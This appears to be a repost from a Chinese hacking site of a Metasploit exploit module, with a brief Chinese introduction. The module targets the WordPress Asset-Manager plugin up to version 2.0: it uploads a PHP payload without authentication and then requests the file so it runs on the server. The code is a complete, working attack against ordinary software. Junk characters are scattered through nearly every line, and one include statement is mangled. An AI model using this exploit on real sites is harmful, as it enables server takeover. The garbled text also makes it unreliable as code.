这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
# b4 _# j# \( a9 C+ x& B9 P" P. _7 P0 P: S' d, x; Z* U8 n
##3 E- V5 L" E0 G$ }2 `7 K- x J
# This file is part of the Metasploit Framework and may be subject to
1 p+ f9 {) n7 S7 @. N+ c# redistribution and commercial restrictions. Please see the Metasploit0 M1 r. v& G+ b# T7 q2 J% C
# Framework web site for more information on licensing and terms of use.* O9 G+ p( |" w9 ` g* S& l/ f
# http://metasploit.com/framework/7 @( I4 q9 x% H4 Z( ^" ~# h! g
##
' Y% @% n4 G7 K0 t) n# z 6 r$ o. ]5 w$ ]- i
require 'msf/core'
- m4 s: Y: \( Z0 @require 'msf/core/exploit/php_exe'
- {3 h' R/ f- C2 \& \/ \
' m0 J& Z2 u" H( z$ kclass Metasploit3 < Msf::Exploit::Remote2 n$ C0 ?! W( C& a# [
Rank = ExcellentRanking. m6 g! g& M, }, P/ \/ T
$ ?/ p0 f5 J. u. K% r; [0 M C! @- J
include Msf::Exploit::Remote::HttpClient
) l& T6 j6 ?2 Q include Msf::Exploit: hpEXE
& s# S4 L- v4 N3 i& y
& g. |+ F. ~# \ def initialize(info = {})
2 q3 o0 t/ [7 V% o super(update_info(info,
3 w5 q, L! D n, @- J, T3 k5 {) ^ 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',! |+ B1 [0 \$ F7 F% l
'Description' => %q{
" T- K8 a1 J6 Z' |+ k1 k This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress5 l7 P1 e7 u; K8 h( P5 R2 A6 Y
plugin. By abusing the upload.php file, a malicious user can upload a file to a
. i, b W1 k+ U; ~ temp directory without authentication, which results in arbitrary code execution.! d. A. ~) v# o. z; [9 H3 A
},
5 A7 I6 ~0 H& U" |# F 'Author' =>
0 @4 M6 M3 x: B" w) i* i1 \8 B0 h [
/ F0 ?! d' ~/ [% ? 'Sammy FORGIT', # initial discovery
9 r( {: q+ j0 J$ W7 P 'James Fitts <fitts.james[at]gmail.com>' # metasploit module
, t' H3 f! u v. b$ q, g6 B k8 R: B ],
; X( M5 Q4 a! `) g 'License' => MSF_LICENSE,
+ Y% ?4 h' c9 V* }' ^9 _7 W 'References' =>
$ H1 _& y7 {1 c* O/ a1 o [
' o" V: W6 I" e$ M* S) d [ 'OSVDB', '82653' ],: U O8 D5 w( \; ^. J+ b
[ 'BID', '53809' ],* K0 I3 c0 ^: \- q: f' p
[ 'EDB', '18993' ],8 z/ ^8 ^' ~" {: V
[ 'URL', 'http:// www.myhack58.com /' ]
- a9 u5 d: S' I. L' P1 O% J9 N- a. ? ],. x% n0 z2 K _( b
'Payload' =>
" l4 G& L3 l6 X; \7 P, R) d% | {
- p K9 D' m8 g" s 'BadChars' => "\x00",
8 ]% N. G2 _* }' z( V& Z. m },6 V" R) j6 Q1 u( l4 Q
'Platform' => 'php',+ i* c) ?( g0 j, R) M1 e3 J& {
'Arch' => ARCH_PHP,
6 k/ P6 M6 N# ?2 k" T6 }# p' |4 F 'Targets' =>
, L. i. b0 N. M# Q1 i [( b4 c, N- K( I, J
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
; S: T& I( m. A1 i0 X [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]* L$ S! J3 w& x1 ]# `# m# ]
],
% r2 Q/ n' y+ z+ j9 E- c* q 'DefaultTarget' => 0,; W J" T3 J# F" A
'DisclosureDate' => 'May 26 2012'))1 T! n- _& f3 w, F+ b
# W# K7 y, A4 z# [( d register_options(% Y# s( n) x+ N& ], K
[
: V+ r, w& Z) R. u OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
: |( Q. ~+ |# n& o2 d ], self.class)
: f1 T% K$ o3 m0 t1 u( \3 F- a( f end
7 I! e& {3 P2 U$ _" X# D2 D% J 2 `' \$ k" D6 ]! G5 {2 U
def exploit: x% f4 e) r7 a' X/ g* [
uri = target_uri.path
7 m5 D- z* y8 R- t4 a* a' r uri << '/' if uri[-1,1] != '/'8 z, J2 u4 ~0 s, H0 F) P
peer = "#{rhost}:#{rport}"
9 U% S4 |9 u2 ~ payload_name = "#{rand_text_alpha(5)}.php"
9 }) P: W4 B/ L' H) C4 X: @ php_payload = get_write_exec_payload(:unlink_self=>true)
1 G2 l+ V* x% o6 k: n- v# | , _; K% _2 ^1 q' c. {6 l, F5 P, n
data = Rex::MIME::Message.new9 Y9 B+ p* n) `) G4 t% n
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
0 w+ h: |# y4 s- h/ z" e post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
. _3 D, N# ]+ M1 u
1 p) n* H- W/ V$ o" {) g; p print_status("#{peer} - Uploading payload #{payload_name}")( K& {; u: {7 V- J9 Q, \. i
res = send_request_cgi({' `$ V! e3 d, H- P! _
'method' => 'POST',
2 @: ]4 j4 O" s 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",/ S) H# S2 Z5 e' L
'ctype' => "multipart/form-data; boundary=#{data.bound}",6 i0 f2 m4 F) Q1 N2 c' P5 U! \' A
'data' => post_data* h% g1 p8 Y' x3 g
})
. D, c" p0 T" k6 x ' V2 R3 n; n& V i4 L# n
if not res or res.code != 200 or res.body !~ /#{payload_name}/
/ g9 \4 v5 ~( k2 S! |, Z fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")7 _0 M/ V2 b5 r
end
% I1 n/ ?/ K$ |, X) L1 E5 o& @ ) Z1 x# Y3 }9 {3 F- X
print_status("#{peer} - Executing payload #{payload_name}")
$ Z% c, {! f( u, J) \8 _ res = send_request_raw({
9 X5 O/ I; }( D6 Z* l: a% s 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",6 S: c0 k: i0 D% t0 i3 Q0 o: t7 j
'method' => 'GET'
( _2 |' G* o& N! ~- L2 \ })+ f9 n5 d2 Z1 A. a2 w" F
# U" R d" p4 B1 t if res and res.code != 200
- z- K# @- d5 c* X8 L fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")+ `+ H& t$ r/ T* y7 s, [
end
, w1 k, p$ K" z. R! w0 I3 l end; J& R/ M) Q4 D$ a. f$ D1 [# ?) e
end
7 ~% s* \) P$ e1 a |